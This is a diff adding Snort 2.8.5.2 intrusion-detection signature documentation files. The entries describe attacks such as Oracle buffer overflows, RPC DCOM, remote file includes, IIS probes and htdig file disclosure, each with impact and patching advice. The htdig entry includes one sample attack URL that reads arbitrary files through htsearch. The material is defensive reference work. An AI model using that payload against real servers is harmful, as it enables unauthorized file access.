+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000927.txt
+++ snort-2.8.5.2/doc/signatures/100000927.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+
+--
+Summary:
+This rule detects certain phishing attempts sent via Microsoft Messenger.
+
+--
+Impact:
+Users who are fooled by the phising attempt may be tricked into downloading 
+malicious code.
+
+--
+Detailed Information:
+The Microsoft Messenger service, which is enabled by default on many Windows 
+systems, allows remote users to send pop-up messages to a given system. While 
+legitimate uses exist, many of these pop-ups contain adware, spyware, and/or 
+phishing attempts. This rule detects a common phishing attempt, which "warns" 
+users that their registry is corrupted and directs them to download software to 
+fix the "problem" at a malicious web site.
+
+--
+Affected Systems:
+Any Windows system with Microsoft Messenger enabled and reachable from the 
+Internet.
+
+--
+Attack Scenarios:
+Attackers will typically use publicly available scripts to send malicious 
+messages.
+
+--
+Ease of Attack:
+Simple; public scripts exist for sending malicious messages.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block Microsoft Messenger at your firewall and/or disable it on individual 
+machines, and educate your users regarding the dangers of following links in 
+such messages.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Sago Networks
+Dan Protich <dprotich@sagonet.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/120-1.txt
+++ snort-2.8.5.2/doc/signatures/120-1.txt
@@ -0,0 +1,65 @@
+Rule: 
+
+--
+Sid: 
+120-1
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects the
+presence of a web server running on a non-defined port.
+
+Web server ports are defined in snort.conf as the variable $HTTP_PORTS
+and also in the section for http_inspect. When a server is accessed on a
+port not defined in snort.conf the presence of web traffic generates an
+event. This may indicate the presence of an unauthorized web server.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios: 
+A web server may be used to transfer files from inside the protected
+network to unauthorized recipients on the outside.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors: 
+Daniel Roelker <droelker@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2867.txt
+++ snort-2.8.5.2/doc/signatures/2867.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2867
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_unique_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2199.txt
+++ snort-2.8.5.2/doc/signatures/2199.txt
@@ -0,0 +1,58 @@
+Rule:  
+
+--
+Sid:
+2199
+
+--
+Summary:
+This event is generated when an attempt is made to access multidiff.cgi on an internal web server. This may indicate an attempt to exploit an information disclosure vulnerability in Mozilla Bonsai 1.3.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+Mozilla Bonsai, a CVS query tool, contains an information disclosure vulnerability in multidiff.cgi. An attacker can discover the location of the Mozilla Bonsai application by sending a malformed request to the application, which produces an error. The error message shows the full path of the multidiff.cgi file, providing the attacker with information about the server directory structure.
+
+--
+Affected Systems:
+Any system running Mozilla Bonsai 1.3.
+
+--
+Attack Scenarios:
+An attacker sends an erroneous request to multidiff.cgi on the Bonsai server. The error message returns the full path of the script, allowing the attacker to discover more information about the server directory structure for possible use in later attacks.
+
+--
+Ease of Attack:
+Simple. Proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses multidiff.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a newer build of Mozilla Bonsai 1.3.
+
+If you are running Mozilla Bonsai on Debian 3.0, Debian has provided patches at http://security.debian.org/pool/updates/main/b/bonsai/.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/5517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1365.txt
+++ snort-2.8.5.2/doc/signatures/1365.txt
@@ -0,0 +1,47 @@
+Rule:
+
+--
+Sid:
+1365
+
+--
+Summary:
+Attempted rm command access via web
+
+--
+Impact:
+Attempt to delete files on a webserver.
+
+--
+Detailed Information:
+This is an attempt to remove on a machine. Using this command an attacker may delete files on a machine.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'rm' in the URI which can then delete files present on the host.  This command may also be requested on a command line should the attacker gain access to the machine.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin.  Whenever possible, sensitive files and certain areas of the filesystem should have the system immutable flag set to negate the use of the rm command. On BSD derived systems, setting the systems runtime securelevel also prevents the securelevel from being changed. (note: the securelevel can only be increased)
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000594.txt
+++ snort-2.8.5.2/doc/signatures/100000594.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000594
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "index.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "index.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2693.txt
+++ snort-2.8.5.2/doc/signatures/2693.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2693
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure verify_queue_types_no_queue
+. This procedure is included in
+sys.dbms_aqadm.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1626.txt
+++ snort-2.8.5.2/doc/signatures/1626.txt
@@ -0,0 +1,79 @@
+Rule:
+
+--
+Sid: 1626
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation
+on the host, this may be the prelude to an attack against that host 
+using that information.
+
+The attacker may also be trying to gain administrator access to the 
+host, garner information on users of the system or retrieve sensitive 
+customer information.
+
+Some applications may store sensitive information such as database 
+connections, user information, passwords and customer information in 
+files accessible via a web interface. Care should be taken to ensure 
+these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the 
+IIS implementation. The attacker might then gain administrator access to
+the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3394.txt
+++ snort-2.8.5.2/doc/signatures/3394.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3394
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1592.txt
+++ snort-2.8.5.2/doc/signatures/1592.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1592
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/366.txt
+++ snort-2.8.5.2/doc/signatures/366.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+366
+
+--
+Summary:
+ping is a standard networking utility that determines if a target host
+is up. This rule indicates that the ping originated from a host running
+Unix.
+
+--
+Impact:
+Information Disclosure. Ping can be used as a reconnaissance tool.
+
+--
+Detailed Information:
+ping sends an ICMP Echo Request packet to an IP address.  If a host is
+up at that address it will reply with an ICMP Echo Reply.  The reply
+includes the data portion of the echo packet.  The data included in the
+Echo Request varies across different operating system implementations.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker will often ping a machine to make sure it is up before
+attacking.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+This program is also used legitimately by users and/or network
+administrators to troubleshoot problems.  It is possible to emulate this
+ping signature using another ping utility.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+ICMP packets can be blocked with a packet filtering firewall.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2643.txt
+++ snort-2.8.5.2/doc/signatures/2643.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2643
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "ensure_not_published" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "fname" variable to
+cause the overflow. The result could permit the attacker to gain
+escalated privileges and run code of their choosing. This attack
+requires an attacker to logon to the database with a valid
+username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck96.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1159.txt
+++ snort-2.8.5.2/doc/signatures/1159.txt
@@ -0,0 +1,62 @@
+Rule:  
+--
+
+Sid:
+1159
+
+--
+
+Summary:
+This event is generated when an attempt is made to access the webplus
+CGI script.
+
+--
+Impact:
+Information Gathering.
+
+--
+Detailed Information:
+Some versions of TalentSoft Web+ contain vulnerabilities that can
+allow arbitrary files to be read or executed by an attacker. Disclosure
+of script source code is also possible.
+
+--
+Affected Systems:
+	TalentSoft Web+
+
+--
+Attack Scenarios:
+An attacker needs to supply a malicious request to the server containing
+webplus?script.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply any appropriate vendor supplied patches.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2393.txt
+++ snort-2.8.5.2/doc/signatures/2393.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2393
+
+--
+Summary:
+This event is generated when an attempt is made to access the /_admin directory.
+
+--
+Impact:
+Unauthorized file upload or information gathering.  This can allow an attacker to upload unauthorized files to the web server or information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in the jbrowser web-based image gallery software that allows unchecked access to the _admin directory, possibly permitting an attacker to execute scripts found in this directory.  Execution of admin scripts upload.php3 and upload_ftp.php3 may allow the attacker to upload malicious files to the server or replace existing files.  Execution of the list_all.php script may allow an attacker to display files in directories, including those not in the web server root directory.
+
+--
+Affected Systems:
+Not reported.
+
+--
+Attack Scenarios:
+An attacker can craft a URL to execute the upload.php3, upload_ftp.php3, and list_all.php scripts to upload files or examine files on the vulnerable server. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Restrict access to the '_admin' directory to authorized users only. 
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+bugtraq
+http://www.securityfocus.com/bid/9537
+
+nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=12032
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3188.txt
+++ snort-2.8.5.2/doc/signatures/3188.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3188
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000488.txt
+++ snort-2.8.5.2/doc/signatures/100000488.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000488
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ISPConfig" application running on a webserver. 
+Access to the file "app.inc.php" using a remote file being passed as the 
+"go_info[isp][classes_root]" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "go_info[isp][classes_root]" parameter in the 
+"app.inc.php" script used by the "ISPConfig" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ISPConfig
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1602.txt
+++ snort-2.8.5.2/doc/signatures/1602.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+1602
+
+--
+Summary:
+This event is generated when an attempt is made to access htsearch.
+
+--
+Impact:
+Severe. Unauthorized file access is possible.
+
+--
+Detailed Information:
+Some versions of htdig allow inclusions to be made from configuration files as a parameter to the htsearch function. Any file can be included by enclosing it in single quotes ('foo').
+
+Using this vulnerability, any single quoted input string (`....`) is included as an index file by htsearch. This allows an attacker to read any file on the host.
+
+This event is generated when an attempt is made to access the cgi script htsearch. Refer to the rules with sid 1600 and 1601 for tracking actual exploit attempts.
+
+--
+Affected Systems:
+HTDig versions 3.1.1, 3.1.2, 3.1.3, 3.1.4 and 3.2.0b1
+
+--
+Attack Scenarios:
+A input form with a textbox named "Exclude" and http post action handled by htsearch or a url similar to http://www.foo.com/cgi-bin/htsearch?Exclude=%60/anyfile%60 can be used to access files on your host. %60 is the single quote caracter "`".
+
+--
+Ease of Attack:
+Simple. No exploit scripts required
+
+--
+False Positives:
+If htdig is used as a search engine for a website, this rule will generate an event for each request for htsearch.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Related Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+
+-- 
+Additional References:
+Bugtraq:
+http://www.securityfocus.com/bid/1026
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000705.txt
+++ snort-2.8.5.2/doc/signatures/100000705.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000705
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SmartSiteCMS" application running on a webserver. Access to the file "test.php" using a remote file being passed as the "root" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root" parameter in the "test.php" script used by the "SmartSiteCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SmartSiteCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1969.txt
+++ snort-2.8.5.2/doc/signatures/1969.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1969
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3270.txt
+++ snort-2.8.5.2/doc/signatures/3270.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3270
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
